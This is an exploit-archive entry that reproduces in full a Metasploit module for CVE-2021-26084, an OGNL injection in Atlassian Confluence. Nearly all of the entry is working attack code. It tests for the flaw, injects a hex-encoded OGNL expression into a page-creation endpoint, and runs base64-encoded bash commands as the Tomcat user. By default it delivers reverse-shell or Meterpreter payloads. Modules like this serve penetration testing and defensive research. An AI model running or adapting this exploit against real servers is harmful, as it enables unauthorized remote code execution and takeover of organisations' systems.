Atlassian Confluence WebWork OGNL Injection

2021.09.11
Credit: wvu
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Atlassian Confluence WebWork OGNL Injection', 'Description' => %q{ This module exploits an OGNL injection in Atlassian Confluence's WebWork component to execute commands as the Tomcat user. }, 'Author' => [ 'Benny Jacob', # Discovery 'Jang', # Analysis 'wvu' # Analysis and exploit ], 'References' => [ ['CVE', '2021-26084'], ['URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html'], ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-67940'], ['URL', 'https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis'], ['URL', 'https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md'], ['URL', 'https://testbnull.medium.com/atlassian-confluence-pre-auth-rce-cve-2021-26084-v%C3%A0-c%C3%A2u-chuy%E1%BB%87n-v%E1%BB%81-%C4%91i%E1%BB%83m-m%C3%B9-khi-t%C3%ACm-bug-43ab36b6c455'], ['URL', 'https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6'] ], 'DisclosureDate' => '2021-08-25', # Vendor advisory 'License' => MSF_LICENSE, 'Platform' => ['unix', 'linux'], # TODO: Windows? 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Privileged' => false, # Tomcat user 'Targets' => [ [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8090 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ # /var/atlassian/application-data/confluence/analytics-logs/*.atlassian-analytics.log # /var/atlassian/application-data/confluence/logs/atlassian-confluence.log IOC_IN_LOGS, ARTIFACTS_ON_DISK # CmdStager ] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path', '/']) ]) end def check token1 = rand_text_alphanumeric(8..16) token2 = rand_text_alphanumeric(8..16) token3 = rand_text_alphanumeric(8..16) res = inject_ognl("#{token1}'+'#{token2}'+'#{token3}") return CheckCode::Unknown unless res unless res.code == 200 && res.body.include?("#{token1}#{token2}#{token3}") return CheckCode::Safe('Failed to test OGNL injection.') end CheckCode::Vulnerable('Successfully tested OGNL injection.') end def exploit print_status("Executing #{payload_instance.refname} (#{target.name})") case target['Type'] when :unix_cmd execute_command(payload.encoded) when :linux_dropper execute_cmdstager end end def execute_command(cmd, _opts = {}) res = inject_ognl(ognl_payload(cmd)) unless res&.code == 200 && res.body.match?(/queryString.*Process.*pid.*exitValue/) fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}") end vprint_good("Successfully executed command: #{cmd}") end def inject_ognl(ognl) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/pages/createpage-entervariables.action'), 'vars_post' => { # https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/JavaCharStream.html # https://github.com/jkuhnert/ognl/blob/f4e18cda6a89bcdad15c617c0d94013a854a1e93/src/main/java/ognl/JavaCharStream.java#L324-L341 'queryString' => Rex::Text.to_hex(ognl, '\\u00') } ) end def ognl_payload(cmd) # https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#expression-language-el---code-execution # https://www.tutorialspoint.com/java/lang/class_forname_loader.htm # https://docs.oracle.com/javase/7/docs/api/java/lang/ProcessBuilder.html # https://docs.oracle.com/javase/8/docs/api/java/util/Base64.Decoder.html <<~OGNL.gsub(/^\s+/, '').tr("\n", '') '+Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(' new java.lang.ProcessBuilder( "/bin/bash", "-c", new java.lang.String( java.util.Base64.getDecoder().decode("#{Rex::Text.encode_base64(cmd)}") ) ).start() ')+' OGNL end end


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